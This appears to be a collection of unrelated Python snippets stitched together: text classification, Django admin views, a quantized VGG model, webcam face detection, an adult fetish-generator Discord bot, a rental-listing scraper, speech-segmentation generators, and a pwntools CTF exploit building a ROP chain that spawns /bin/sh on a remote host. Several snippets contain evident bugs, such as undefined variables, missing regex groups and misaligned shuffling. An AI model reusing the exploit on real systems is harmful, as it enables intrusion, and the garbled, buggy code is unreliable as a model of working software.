preprocess_text(sports, sentences, 'sports')

# Shuffle the order to produce a more reliable training set
random.shuffle(sentences)

for sentence in sentences:
    print(sentence[0], sentence[1])

# Divide the original data set into test sets of training sets, using sklearn's own segmentation function "Zip!"
content, tag = zip(*sentences)
content_train, content_test, tag_train, tag_test = train_test_split(content, tag, random_state=1234)
print(len(content_train))

# To extract useful features from noise reduction data, we extract bag of words model features from the text
vectorizer = CountVectorizer(analyzer='word',  # tokenize by character ngrams
                             max_features=4000)  # keep the most common 1000 ngrams
vectorizer.fit(content_train)

def get_features(content):
    vectorizer.transform(content)

# import classifier and train data
classifier = MultinomialNB()
classifier.fit(vectorizer.transform(content_train), tag_train)

""" cross verification part """

# A more reliable method of cross verification is StratifiedKFold,
# but cross verification is the best way to ensure that each sample category is relatively balanced
def stratified_k_fold(content, tag, classifier_class, shuffle=True, n_splits=5, **kwargs):
    sk_fold = StratifiedKFold(n_splits=n_splits, shuffle=shuffle)
    tag_prediction = tag[:]
    for train_index, test_index in sk_fold.split(content, tag):
        content_train, content_test = content[train_index], content[test_index]
        tag_train = tag[train_index]
        classifier = classifier_class(**kwargs)
        classifier.fit(content_train, tag_train)
        tag_prediction[test_index] = classifier.predict(content_test)

    return tag_prediction

nb = MultinomialNB
print(precision_score(tag, stratified_k_fold(vectorizer.transform(content), np.array(tag), nb), average='macro'))

""" packaging as a class """

class TextClassifier:

    def __init__(self, classifier=MultinomialNB()):
        self.classifier = classifier
        self.vectorizer = CountVectorizer(analyzer='word', ngram_range=(1, 4), max_features=20000)

    def features(self, content):
        return self.vectorizer.transform(content)

    def fit(self, content, tag):
        self.vectorizer.fit(content)
        self.classifier.fit(self.features(content), tag)

    def predict(self, content):
        return self.classifier.predict(self.features([content]))

    def score(self, content, tag):
        return self.classifier.score(self.features(content), tag)

text_classifier = TextClassifier()
text_classifier.fit(content_train, tag_train)
print(text_classifier.predict('这 是 有史以来 '))  # here acn input anything
print(text_classifier.score(content_test, tag_test))

# use RBF core
svm = SVC()
svm.fit(vectorizer.transform(content_train), tag_train)
svm.score(vectorizer.transform(content_test), tag_test)


import re

if __name__ == "__main__":
    names = None

    pattern = re.compile('^\w+\\s+\w+$')

    while not names:
        names = input('your names (firstname lastname:')
        m = pattern.match(names)
        if not m:
            names = None
            continue
        print(f'names start:{m.start()} end:{m.end()} span:{m.span()}')
        print(f'gropu:{m.group()} firstname:{m.group(1)} lastname:{m.group(2)}')

    print("--- --- --- ---")


from django.views import View
from django.shortcuts import render,redirect
from tracker.models import *
from myadmin.forms.driver import *
from django.contrib import messages
from myadmin.decorators import staff_login_required
from django.utils.decorators import method_decorator

class DriverHomeView(View):
    @method_decorator(staff_login_required)
    def get(self,request):
        # staff = Staff.objects.filter(staffId=request.session['staff_id']).first()
        dirvers = Driver.objects.all()
        context = {
            'drivers':dirvers,

        }
        return render(request,"myadmin/driver/index.html",context)

class DriverAddView(View):
    @method_decorator(staff_login_required)
    def get(self,request):
        form = DriverAddForm()
        context = {
            'form':form
        }
        return render(request,"myadmin/driver/add.html",context)
    @method_decorator(staff_login_required)
    def post(self,request):
        form = DriverAddForm(request.POST,files=request.FILES)
        if form.is_valid():
            form.save()
            messages.success(request,"New Driver Registration")

        return redirect("admin_driver_add")

class DriverUpdateView(View):
    @method_decorator(staff_login_required)
    def get(self,request,driver_id):
        driver = Driver.objects.filter(driverId=driver_id).first()
        if driver:
            form = DriverUpdateForm(instance=driver)
            context = {
                'form':form,
                'driver':driver
            }
            return render(request,"myadmin/driver/edit.html",context)
    @method_decorator(staff_login_required)
    def post(self,request,driver_id):
        driver = Driver.objects.filter(driverId=driver_id).first()
        if driver:
            form = DriverUpdateForm(instance=driver,data=request.POST,files=request.FILES)
            if form.is_valid():
                form.save()
                messages.success(request,f"{driver} successfully updated details")
            else:
                print(form.errors)
            return redirect(f"/myadmin/driver_mngt/update/{driver_id}/")


import math

import torch.nn as nn
import torch.nn.init as init
from base.lsq import *
import torch.nn.functional as F

__all__ = [
    'VGG', 'vgg11', 'vgg11_bn', 'vgg13', 'vgg13_bn', 'vgg16', 'vgg16_bn',
    'vgg19_bn', 'vgg19',
]

class VGG(nn.Module):
    '''
    VGG model
    '''
    def __init__(self, features):
        super(VGG, self).__init__()
        self.conv1 = nn.Conv2d(3, 64, kernel_size=3, padding=1)
        self.bn1 = nn.BatchNorm2d(64)

        self.features = features
        self.classifier = nn.Sequential(
            nn.Dropout(),
            LinearLSQ(512, 512),
            nn.ReLU(True),
            nn.Dropout(),
            nn.Linear(512, 512),
            nn.ReLU(True),
            nn.Linear(512, 10),
        )

    def forward(self, x):
        x = F.relu(self.bn1(self.conv1(x)))
        x = self.features(x)
        x = x.view(x.size(0), -1)
        x = self.classifier(x)
        return x

def make_layers(cfg, batch_norm=False):
    layers = []
    in_channels = 64
    for v in cfg:
        if v == 'M':
            layers += [nn.MaxPool2d(kernel_size=2, stride=2)]
        else:
            if batch_norm:
                layers += [Conv2dLSQ(in_channels, v, kernel_size=3, padding=1),
                            nn.BatchNorm2d(v),
                            nn.ReLU(inplace=True),
                            ActLSQ()]
            else:
                layers += [conv2d, nn.ReLU(inplace=True)]
            in_channels = v
    return nn.Sequential(*layers)

cfg = {
    'A': ['M', 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'],
    'B': [64, 'M', 128, 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'],
    'D': [64, 'M', 128, 128, 'M', 256, 256, 256, 'M', 512, 512, 512, 'M', 512, 512, 512, 'M'],
    'E': [64, 'M', 128, 128, 'M', 256, 256, 256, 256, 'M', 512, 512, 512, 512, 'M',
          512, 512, 512, 512, 'M'],
}

def vgg11():
    """VGG 11-layer model (configuration "A")"""
    return VGG(make_layers(cfg['A']))

def vgg11_bn():
    """VGG 11-layer model (configuration "A") with batch normalization"""
    return VGG(make_layers(cfg['A'], batch_norm=True))

def vgg13():
    """VGG 13-layer model (configuration "B")"""
    return VGG(make_layers(cfg['B']))

def vgg13_bn():
    """VGG 13-layer model (configuration "B") with batch normalization"""
    return VGG(make_layers(cfg['B'], batch_norm=True))

def vgg16():
    """VGG 16-layer model (configuration "D")"""
    return VGG(make_layers(cfg['D']))

def vgg16_bn():
    """VGG 16-layer model (configuration "D") with batch normalization"""
    return VGG(make_layers(cfg['D'], batch_norm=True))

def vgg19():
    """VGG 19-layer model (configuration "E")"""
    return VGG(make_layers(cfg['E']))

def vgg19_bn():
    """VGG 19-layer model (configuration 'E') with batch normalization"""
    return VGG(make_layers(cfg['E'], batch_norm=True))


import cv2
import face_recognition

webcam_video_stream = cv2.VideoCapture(0) #if_you_want_to_detect_face_in_already_saved_video_then_instead_of_0_pass_the_path_of_that_video

all_face_locations=[]

while True:
    ret,current_frame = webcam_video_stream.read()
    current_frame_small=cv2.resize(current_frame,(0,0),fx=0.25,fy=0.25)
    all_face_locations = face_recognition.face_locations(current_frame_small,number_of_times_to_upsample=2,model='hog')
    for index,current_face_location in enumerate(all_face_locations):
        top_pos,right_pos,bottom_pos,left_pos=current_face_location
        top_pos = top_pos*4
        right_pos = right_pos*4
        bottom_pos = bottom_pos*4
        left_pos = left_pos*4
        print('Four face {} at top:{},right:{},bottom:{},left:{}'.format(index+1,top_pos,right_pos,bottom_pos,left_pos))
        cv2.rectangle(current_frame,(left_pos,top_pos),(right_pos,bottom_pos),(0,0,255),2)
    cv2.imshow("Webcam Video",current_frame)
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break;

webcam_video_stream.release()
cv2.destroyAllWindows()


def executeScriptsFromFile(filename, cursor):
    fd = open(filename, 'r')
    sqlFile = fd.read()
    fd.close()
    sqlCommands = sqlFile.split(';')

    for command in sqlCommands:
        try:
            if command.strip() != '':
                cursor.execute(command)
        except IOError as msg:
            print("Command skipped: " + msg)


#! /usr/bin/python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 howpwn <finn79426@gmail.com>
#
# Distributed under terms of the MIT license.

from pwn import *
# padding 40

p = remote("ctf.racterub.me", 3006)
context.arch = "amd64"

p.recvuntil("input :")

payload = cyclic(40)

############################
# Gadget

#
pop_rax_rdx_rbx = 0x0000000000478636

buf = 0x6cbb60
pop_rdi = 0x00000000004014c6
mov_prdi_rdx = 0x0000000000435453
pop_rsi = 0x00000000004015e7
pop_rdx = 0x0000000000442896
syscall = 0x0000000000467265

# rdi OK
payload += flat([pop_rdi, buf, pop_rdx, "/bin/sh\x00", mov_prdi_rdx])
# rax,rdx OK
payload += flat([pop_rax_rdx_rbx, 0x3b, 0, 0])
# rsi OK
payload += flat([pop_rsi, 0])
# syscall
payload += flat([syscall])

p.sendline(payload)
p.interactive()


import discord
import asyncio
import random
import pickle
import os
import time
import re
import json
import datetime

# Same thing here fix my imports

from discord.ext import commands

# Setting up my .json for this entire cog

gen = json.load(open('fetish_list.json'))

# Giving the error message its own little thing to keep stuff clean

error = ''.join(gen["Error"]["NSFW"])

# Just giving random_choice its own little thing to keep stuff clean

def random_choice(p1, p2):
    return random.choice(gen[p1][p2]);

# A small weighted choice function I use to get certain elements from the .json

def weighted_choice(items, weights):
    assert len(items) == len(weights)
    prob = sum(weights)
    chosen = random.uniform(0, prob)
    total = 0
    for item, weight in zip(items, weights):
        total += weight
        if chosen < total:
            return item

# A function that I needed to write to use the weighted_choice for sex as well

def sex_choice(p1, p2):
    elements = gen[p1][p2]
    weights = []
    for x in elements:
        weights.append(x["Chance"])
    return weighted_choice(elements, weights);

# This is the character creation which give you a random character

def get_random_character():
    sex = sex_choice("Att", "Sex")
    cha = []
    cha.append("**Age: **" + weighted_choice(*zip(*gen["Att"]["Age"].items())))
    cha.append("**\nSex: **" + weighted_choice(*zip(*gen["Att"]["Appearance"].items())) + " " + sex["Sex"])
    cha.append("**\nSpecies: **" + weighted_choice(*zip(*gen["Att"]["Anatomy"].items())) + " " + random_choice("Att", "Species"))
    cha.append("**\nHeight: **" + weighted_choice(*zip(*gen["Att"]["Height"].items())))
    cha.append("**\nBuild: **" + random_choice("Att", "Build"))
    cha.append("**\nAss: **" + weighted_choice(*zip(*gen["Sizes"]["Sizes"].items())) + " Ass")
    if sex["hasDick"]:
        size = weighted_choice(*zip(*gen["Sizes"]["Sizes"].items()))
        cha.append("**\nPenis: **" + size + " " + weighted_choice(*zip(*gen["Att"]["Cocks"].items())) + " Penis")
        cha.append("**\nBalls: **" + size + " Balls")
    if sex["hasPussy"]:
        cha.append("**\nPussy: **" + weighted_choice(*zip(*gen["Att"]["Pussy"].items())) + " Vagina")
    if sex["hasBoobs"]:
        cha.append("**\nBreast: **" + weighted_choice(*zip(*gen["Sizes"]["Sizes"].items())) + " Breast")
    cha.append("**\nAttribute: **" + random_choice("Att", "Att"))
    cha.append("**\nExtra Parts: **" + weighted_choice(*zip(*gen["Att"]["Parts"].items())))
    return cha;

# Function to give you a random setting but like random character,
# also just picks random strings from a .json and smooshes them together.

def get_random_setting():
    sett = []
    sett.append("**Scenario:** " + random_choice("Setting", "Scenario"))
    sett.append("**\nSetting:** " + weighted_choice(*zip(*gen["Setting"]["Setting"].items())))
    sett.append("**\nLocation:** " + random_choice("Setting", "Location"))
    sett.append("**\nTime:** " + random_choice("Setting", "Time"))
    sett.append("**\nWeather:** " + random_choice("Setting", "Weather"))
    return sett;

class fetish_generators:

    def __init__(self, bot):
        self.bot = bot

    # Gives the user a randomly generated setting.

    @commands.command(case_insensitive=True, brief='Generates you a random setting, if you need ideas for a RP.')
    async def random_setting(self, ctx):
        if ctx.channel.is_nsfw():
            embed = discord.Embed(title="Setting", description=''.join(get_random_setting()), color=0xaa0045)
            await ctx.send(embed=embed)
        else:
            await ctx.send(error)
        print('The command "Setting" has been used by: ' + str(ctx.author))

    # Give the user a randomly generated character.

    @commands.command(case_insensitive=True, brief='Generates a random character, if you need ideas for a RP.')
    async def random_character(self, ctx):
        if ctx.channel.is_nsfw():
            embed = discord.Embed(title="Character", description=''.join(get_random_character()) , color=0xaa0045)
            await ctx.send(embed=embed)
        else:
            await ctx.send(error)
        print('The command "Character" has been used by: ' + str(ctx.author))

    # Give the use a randomly generated scene, consiting from 2 character and 1 setting

    @commands.command(case_insensitive=True, brief='Generates a random scene (setting + 2 characters), if you need ideas for a RP.')
    async def random_scene(self, ctx):
        if ctx.channel.is_nsfw():
            embed = discord.Embed(title="Setting", description=''.join(get_random_setting()), color=0xaa0045)
            embed.add_field(name="Character 1", value=''.join(get_random_character()))
            embed.add_field(name="Character 2", value=''.join(get_random_character()))
            await ctx.send(embed=embed)
        else:
            await ctx.send(error)
        print('The command "Scene" has been used by: ' + str(ctx.author))

    # A utility function, that allows the user to get the lists stored in the .json

    @commands.command(case_insensitive=True, brief='Returns the lists I use for the generators, use "?help list" for more information about this command.')
    async def list(self, ctx, *args):
        if ctx.channel.is_nsfw():
            mes = []
            mes.append("```cs\n")
            if len(args) == 2:
                lis = gen[args[0]][args[1]]
                for x in lis:
                    mes.append(x + "\n")
            if len(args) == 1:
                lis = gen[args[0]]
                for x in lis:
                    mes.append(x + "\n")
            if len(args) == 0:
                lis = gen
                for x in lis:
                    mes.append(x + "\n")
            mes.append("```")
            await ctx.send(''.join(mes))
        else:
            await ctx.send(error)
        print('The command "List" has been used by: ' + str(ctx.author))

    # The OG command for all this shit, can give you random fetishes and even limit how intens you want them.

    @commands.command(case_insensitive=True, brief='Returns a random fetish, if you need ideas, use "?help random_fetish" for more information about this command.')
    async def random_fetish(self, ctx,a: int=1, *args):
        if ctx.channel.is_nsfw():
            mes = []
            for x in range(0, a):
                fet = []
                if "LIGHT".casefold() in args:
                    fet.append(gen["Fetish"]["Light"])
                if "MEDIUM".casefold() in args:
                    fet.append(gen["Fetish"]["Medium"])
                if "HEAVY".casefold() in args:
                    fet.append(gen["Fetish"]["Heavy"])
                if "EXTREME".casefold() in args:
                    fet.append(gen["Fetish"]["Extreme"])
                if "EXTREME".casefold() not in args and "HEAVY".casefold() not in args and "MEDIUM".casefold() not in args and "LIGHT".casefold() not in args:
                    fet.append(gen["Fetish"]["Light"])
                    fet.append(gen["Fetish"]["Medium"])
                    fet.append(gen["Fetish"]["Heavy"])
                    fet.append(gen["Fetish"]["Extreme"])
                mes.append(random.choice(random.choice(fet)) + "\n")
            embed = discord.Embed(title="Fetishes", description=''.join(mes), color=0xaa0045)
            await ctx.send(embed=embed)
        else:
            await ctx.send(error)
        print('The command "Fetish" has been used by: ' + str(ctx.author))

def setup(bot):
    bot.add_cog(fetish_generators(bot))


# -*- coding: utf-8 -*-
import scrapy
from scrapy import Spider,Request
import re
import json
from lxml import etree
from urllib.parse import quote
from lianjia0.items import Lianjia0Item

class Lianjia01Spider(scrapy.Spider):
    name = 'lianjia01'
    allowed_domains = ['bj.lianjia.com']
    start_urls = ['http://bj.lianjia.com/zufang/']

    def parse(self, response):
        selector = etree.HTML(response.text)
        sel = selector.xpath("//div[@class='page-box house-lst-page-box']/@page-data")[0]
        sel = json.loads(sel)
        total_pages = sel.get("totalPage")

        for i in range(int(total_pages)):
            url_page = 'http://bj.lianjia.com/zufang/'+'pg'+bytes(i)+'/#contentList'
            yield Request(url=url_page, callback=self.parse_content)
        pass

    def parse_content(self,response):
        selector = etree.HTML(response.text)
        cj_list = selector.xpath("//ul[@class='listContent']/li")

        for cj in cj_list:
            item = Lianjia0Item()
            href = cj.xpath('./a/@href')
            if not len(href):
                continue
            item['href'] = href[0]

            content = cj.xpath('.//div[@class="title"]/a/text()')
            if len(content):
                content = content[0].split()  # 按照空格分割成一个列表
                item['name'] = content[0]
                item['style'] = content[1]
                item['mianji'] = content[2]

            content = cj.xpath('.//div[@class="content__aside--title"]/span/text()')
            if len(content):
                item['price'] = content[0]

            yield item


import json
import os
from itertools import cycle, chain
from random import shuffle

import matplotlib.pyplot as plt
import numpy
from keras.layers import Input
from keras.models import Model
from keras.utils import to_categorical
from python_speech_features import mfcc, sigproc
from scipy.io import wavfile

import models

def choose_model(name, input_shape):
    try:
        input_ = Input(input_shape)
        output_ = getattr(models, name)(input_)
        return Model(input_, output_)
    except AttributeError:
        raise AttributeError('Unkown model.')

def parse_json(js, length, framerate):
    # Pre allocate memory
    mask = numpy.zeros((length,), dtype=bool)

    js = js['speech_segments']
    startend = [0]
    for s in js:
        # Remove duplicates, or close to instantaneous shifts
        if abs(s['start_time'] - startend[-1]) < 0.1:
            startend[-1] = s['end_time']
        else:
            startend.extend([s['start_time'], s['end_time']] if startend[-1] != s['start_time'] else [])

    indices = [int(framerate * i) for i in startend[1:]]
    for i in indices:
        mask[i:] = numpy.logical_not(mask[i:])
    return mask

def read_example(path):
    # read wave
    # s = time.time()
    framerate, data = wavfile.read(path + '.wav')
    data = data.astype(numpy.float32)
    # print('--', time.time() - s, '--')

    # read json
    # s = time.time()
    with open(path + '.json') as f:
        js = json.load(f)
    # print(time.time() - s)

    # Normalize wave
    # s = time.time()
    # data = data - data.mean()
    # data /= data.std()
    # print(time.time() - s)

    # parse json to a readable groundtruth
    # s = time.time()
    y = parse_json(js, data.shape[0], framerate)
    # print(time.time() - s)

    return data, y

def plot_segments(x, y):
    f, ax = plt.subplots()
    ax.plot(x, label='level')
    ax2 = ax.twinx()
    ax2.plot(y, c='r', label='speech?')
    ax2.set_ylim([-5, 5])
    f.legend()
    f.show()

def read_dataset(root):
    files = os.listdir(root)
    names = [os.path.join(root, f.split('.')[0])
             for f in files if f.endswith('json')]

    return names

def data_generator(paths, batch_size=32, sample_rate=1, normalize=True, timesteps=None):
    """
    Data generator used to yield audio sequences from which MFCC are extracted, leading to 1720 frames-long sequences.
    """

    paths = cycle(paths)

    # Pre allocate memory to avoid memory leaks
    X = numpy.empty(shape=(batch_size, 1720, 13), dtype=numpy.float32)
    Y = numpy.empty(shape=(batch_size, 1720), dtype=numpy.uint8)

    while True:
        lengths = []
        for i in range(batch_size):
            x, y = read_example(next(paths))
            x = mfcc(x, 16000, 0.025, 0.01)
            lengths.append(x.shape[0])
            y = numpy.around(sigproc.framesig(y, 16000 * 0.025, 16000 * 0.01).mean(axis=1)).astype(int)
            x = numpy.pad(
                x, pad_width=[(0, 1720 - x.shape[0]), (0, 0)], mode='constant')
            y = numpy.pad(
                y, pad_width=[(0, X.shape[1] - y.shape[0])], mode='constant')

            X[i] = x
            Y[i] = y

        if normalize:
            X -= numpy.mean(X, axis=1)[:, numpy.newaxis, :] + 1.0e-8

        L = max(lengths)
        xtrain = X[:, :L, :]
        ytrain = Y[:, :L]

        yield xtrain, to_categorical(ytrain)
        X *= 0

def frames_generator(paths, batch_size=32):
    """
    Data generator used to train frame per frame.
    """

    x, y = next(data_generator(paths, batch_size))

    x = x.reshape(-1, 13)
    y = y.reshape(-1, 2)

    # get rid of the 0-padded fake frames at the end of the sequences
    y = cycle(y[numpy.min(numpy.abs(x), axis=1) > 0])
    x = cycle(x[numpy.min(numpy.abs(x), axis=1) > 0])

    # Pre allocate memory
    X = numpy.empty(shape=(batch_size, 13), dtype=numpy.float32)
    Y = numpy.empty(shape=(batch_size, 2), dtype=numpy.uint8)

    while True:
        for i in range(batch_size):
            X[i] = next(x)
            Y[i] = next(y)
        yield X, Y
    X *= 0

def truncated_generator(paths, batch_size=32, timesteps=200):
    """
    Data generator used to generate truncated sequences, in order to train the RNN using a truncated backpropagation through time.
    """

    x, y = list(zip(*[read_example(n) for n in paths]))

    # Extract the mfccs and ensure that the ys are corresponding. The label of a frame is the label of its center.
    x = [mfcc(sequence, 16000, winlen=0.025, winstep=0.010) for sequence in x]
    y = [sigproc.framesig(b, 16000 * 0.025, 16000 * 0.01)[:, 200] for b in y]  # 200 = 16000 * 0.025 / 2

    # Truncate the sequences whose length are not a multiple of the number of timesteps
    y = [a[:(a.shape[0] // timesteps) * timesteps] for a in y]
    x = [a[:(a.shape[0] // timesteps) * timesteps] for a in x]

    # Infinite loop on the shuffled chained frames, ie each element returned by x or y is a sequence of timesteps frames
    x = list(chain(x))
    y = list(chain(y))
    shuffle(x)
    shuffle(y)
    x, y = cycle(x), cycle(y)

    # Pre allocate memory for each batch matrix in order to avoid memory leaks:
    X = numpy.empty(shape=(batch_size, timesteps, 13), dtype=numpy.float32)
    Y = numpy.empty(shape=(batch_size, timesteps), dtype=numpy.uint8)

    while True:
        for i in range(batch_size):
            X[i] = next(x)
            Y[i] = next(y)
        yield X, to_categorical(Y, 2)